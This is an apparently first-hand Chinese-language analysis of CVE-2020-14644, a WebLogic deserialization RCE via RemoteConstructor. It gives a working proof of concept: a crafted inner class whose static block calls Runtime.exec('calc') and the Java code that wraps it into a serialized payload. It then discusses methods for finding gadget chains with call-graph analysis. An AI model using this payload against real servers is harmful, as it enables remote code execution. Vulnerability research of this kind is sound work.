CVE-2020-14644分析与gadget的一些思考
前段时间Weblogic出了七月份的补丁,其中比较受关注的有4个9.8评分的RCE,目前14625和14645在网上也都有了详情,话说有个老哥一己之力包了其中三个属实nb。
之前也有几个朋友问起14644的详情,正好一起分享下14644的利用,和之前疫情半年在家挖gadget的一些思考。
CVE-2020-14644
和2883、14645不同的是,这应该算是一条全新的gadget,并不是在原先2555的基础上进行绕过。
这个漏洞的主角是 com.tangosol.internal.util.invoke.RemoteConstructor
在它的 readResolve
方法中会一直调用到 RemotableSupport.realize()
方法
RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize
realize
方法中有两个比较有意思的点 defineClass
和 createInstance
比较熟悉Java的同学到这里可以察觉到一些问题,这是一个自定义加载类并实例化的过程。
ysoserial中经典的TemplateImpl中就有类似的过程。
但是目前仅是函数名存在一些端倪,真要利用还得看具体的函数实现。
先来看 defineClass
函数
最后又调用了重载的 defineClass
,但很有意思的是这个函数IDEA跟进之后指向的是 ClassLoader.defineClass
在 RemotableSupport
的函数申明中,可以看到这个类其实是继承了 ClassLoader
这个类的
就表示这个 RemotableSupport.defineClass
函数确实是可以通过二进制字节码在内存中定义类的。
然后就是考虑这个byte数组是否可以在反序列化时被我们控制,可以看到这个数组是通过 byte[] abClass = definition.getBytes()
而来的。
这个属性恰好是 ClassDefinition
的一个byte数组的成员变量,可以在初始化时直接传入。
当然光 defineClass
对于漏洞触发来说是不够的,定义了类之后,还得加载这个类,才能触发staic方法。(不过自己挖洞的时候其实也没必要那么严谨,下面有个 createInstance
函数其实已经八九不离十了
当然这个方法确实也没有辜负我们的期望,获取了该类的构造函数,并进行实例化。
这里还有个需要注意的地方是 defineClass
的类名不像TemplateImpl中是一个任意的类名,它是根据 definition
的属性而来的(应该可以反射修改?暂时没尝试
String sBinClassName = definition.getId().getName(); String sClassName = sBinClassName.replace('/', '.');
这里 getName
获取到的类名是一个内部类,内部类的名字是根据 ClassIdentity.m_sVersion
而来的
而这个成员变量的值是初始化的时候定义的,是一串md5的哈希值
public ClassIdentity(Class clazz) { this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class")))); }
否则, defineClass
时指定的className与字节码文件中的类对应不上的话就会抛出 NoClassDefFoundError
的异常。
这里以12.2.1.3版本为例(版本不同时类的哈希值也会不一样),生成如下内部类
package com.tangosol.internal.util.invoke.lambda; import java.io.IOException; public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A { public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { var1.printStackTrace(); } } }
payload的构造就比较简单
byte[] bytes = Files.readBytes(new File("/path/to/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class")); RemoteConstructor constructor = new RemoteConstructor( new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{} ); return constructor;
(这里提一句,如果你生成poc时,发现报错的类名一直在变,应该是你把你重写的类加到了classPath中,导致覆盖了weblogic原有的类)
最后,常规流程走一波,弹个计算器(真搞不懂你们黑客,弹个计算器直接cmd运行不好吗
我提交的时候只给了12.2.1.3.0和12.2.1.4.0的POC,不知道为什么最后给出的影响范围只有三个(虽然我确实没测过10.3.6和14.x的
这个漏洞比较好的地方就在于他不像2555的单向链式执行,导致无法执行比较复杂的Java代码,只能通过别的方式进一步利用。而这个漏洞可以直接在static代码块中插入想要执行的代码,利用起来比较方便。
比较麻烦的一点在于同一个Payload无法多次执行,原因在于这个类在第一次触发时已经被加载了。可以通过生成不同的类或者之前提到的反射(或许?)解决这个问题。
关于gadget的一些思考
gadget的链式性
对反序列化(不仅限于Java的反序列化,还有JSON之类的)了解过的人应该都知道,反序列化的其实是一个链式的调用,其实对于常规漏洞来说也是,是一条从Source到Sink的调用链路。
只是反序列化这里的Source比较明确,对于Java反序列化来说是readObject,对于JSON的反序列化来说是getter、setter。
但既然是一条链,就可以拆卸组装,从过不同的连接方式,组装成另一条新的链。
以CVE-2020-2555为例,他的触发链其实如下
ObjectInputStream.readObject() -> BadAttributeValueExpException.readObject() -> LimitFilter.toString() -> ChainedExtractor.extract() -> ReflectionExtractor.extract()
当时一月份的修复方式相当于在 LimitFilter.toString()
这里打断了这条链。
当时就感觉这种修复是一种治标不治本的修复,于是就出了2883的绕过,2883的触发链大致如下
ObjectInputStream.readObject() -> PriorityQueue.readObject() -> ExtractorComparator.compare() -> ChainedExtractor.extract() -> ReflectionExtractor.extract()
可以看到,这就是典型的一个将原先的链进行组装,拼接成一个新的链。
这样做的好处在于可以复用原先找到的链,降低构造成本。事实上ysoserial中的一些链也是那么做的,通过将一些链中的一小节进行拼接,就生成了一个新的链。当时分析完ysoserial之后的云玩家感言也就是那么想的。
这样我们其实在找gadget时可以复用ysoserial中一些比较好用的链的一小节,例如
AnnotationInvocationHandler.readObject() -> ... -> Map.get() PriorityQueue.readObject() -> ... -> Comparator.compare() BadAttributeValueExpException.readObject() -> ... -> Object.toString() HashSet.readObject() -> ... -> Object.hashCode() HashSet.readObject() -> ... -> Map.put() HashSet.readObject() -> ... -> Map.get() Hashtable.readObject() -> ... -> Object.equals()
这样在找gadget时就不一定非得从 readObject
函数开始,只要能找到上面的函数到Sink点的通路即可。
而且除了 readObject
其实还有 readExternal
和 readResolve
之类的函数有的话也可以关注。
这样在看到2555的漏洞修复的时候,其实只要找到一个 Comparator.compare()
触发了 ValueExtractor.extract()
函数即可,事实表示这样的难易程度就降低了很多,也就是当时2883有蛮多师傅都挖出来了的原因。
TaintAnalysis -> CallGraph
https://github.com/JackOfMostTrades/gadgetinspector
Gadget Inspector是一款 Black Hat USA 2018 中展示的挖掘gadget的工具,听说挖2555的作者就是借助这款自动化的工具挖出了2555(但貌似进行了一些自定义化的改动)
看过源码的之后发现其实内部是通过一套自定义的污点分析流程,去尝试挖掘对应的gadget,污点分析的细节和原理这里就不展开讲了。
由于之前做过一些自动化代码审计的工作,个人感觉污点分析的方式更像一个严谨的工程师,其中漏洞漏报主要源自于污点传播函数(propagate)没有定义好,导致一些污点信息没有做对应的标记,从而导致污点跟踪丢失,而且这些污点传播函数的case其实比较难完全覆盖。
由于个人挖洞的需求,其实我们的做法可以更激进一些,希望找出更多可能触发漏洞的点,并且接受一定的误报量,通过一定的误报而尽可能减少漏报,并通过一部分人工的排查,从而找出漏洞。
污点分析的对象单位是一个变量,而我们可以将这个对象放大至函数,忽略具体的数据流走向,通过寻找Call Graph,寻找所有可能触发Sink点的路径。
这个过程其实就是寻找一个 可能 触发的路径,需要通过一定的人工排查,去确定最后是否可以触发。但其实这样做已经为我们排除了大量不可能的路径。因为如果Call Graph都无法找到一条可行的路径,那就表示这个Sink点其实是无法触发的。(反射除外,反射目前应该是静态代码无法解决的一个痛点)
自动化这个过程中的一些问题
实际过程中可能还会有一些问题,还是以之前Weblogic的链为例子,比如触发 ReflectionExtractor.extract()
时,在上一层的 LimitFilter.toString()
中代码层面显示的调用其实的是 ValueExtractor.extract()
这就涉及到Java语言的一个比较基本且重要的特性——多态,这个 ValueExtractor
其实是要在运行时才能确定的,所以静态代码层面无法确定这个函数具体要调用的代码块。
这一点Gadget Inspector其实已经做了处理,它在一开始会将类之间的继承和实现关系做了一个映射,在发现调用 ValueExtractor.extract()
时会去寻找所有其具体的实现,从而遍历所有可能触发的代码块。
在Call Graph + 类关系处理之后,找到的整个调用链可能会异常庞大,比如调用到了toString方法,但是重写了toString的类其实很多,这样就会产生一种指数爆炸的效果,可能需要一些限制类名、限制链的深度之类的操作,去避免过于长的链的查找。
其次就是可以通过从Sink->Source,Source->Sink正逆向相互结合来挖掘对应的链,其实对于gadget这种Source比较确定的个人比较推荐Source->Sink的寻找过程,并且根据 gadget的链式性 中提到的,将 toString
、 hashCode
、 compare
之类的函数也加入到Source中,减少寻找的难度。
个人感觉Java反序列化的gadget其实会比JSON的要难找一些,其实尝试去分析JSON的gadget之后会发现整个调用链其实都比较浅,像常规的jndi的调用链通常不超过3层。而且Java反序列化需要这个过程中所有涉及到的类都继承了Serializable接口,并且可能会遇到一些 transient
修饰的成员变量。
虽然Gadget Inspector中对类进行了限制,在自动化查找的时候就判断了类是否继承Serializable,但是感觉会有一些虽然没有继承Serializable,但是仅调用的是一个static函数之类的情况,导致一些可能的链被剔除了。所以个人更倾向于在人工排查时再去解决这些问题,只要误报在一个可以接受的范围内,自动化只负责找到所有 可能 的情况。(虽然我确实也遇到过找到了一条可以触发的链,但是其中一些类没有继承Serializable导致无法反序列化的情况)
例如以 readResolve
函数为Source, RemotableSupport:defineClass
为Sink,就可以找到如下的调用链,也是14644漏洞触发的堆栈。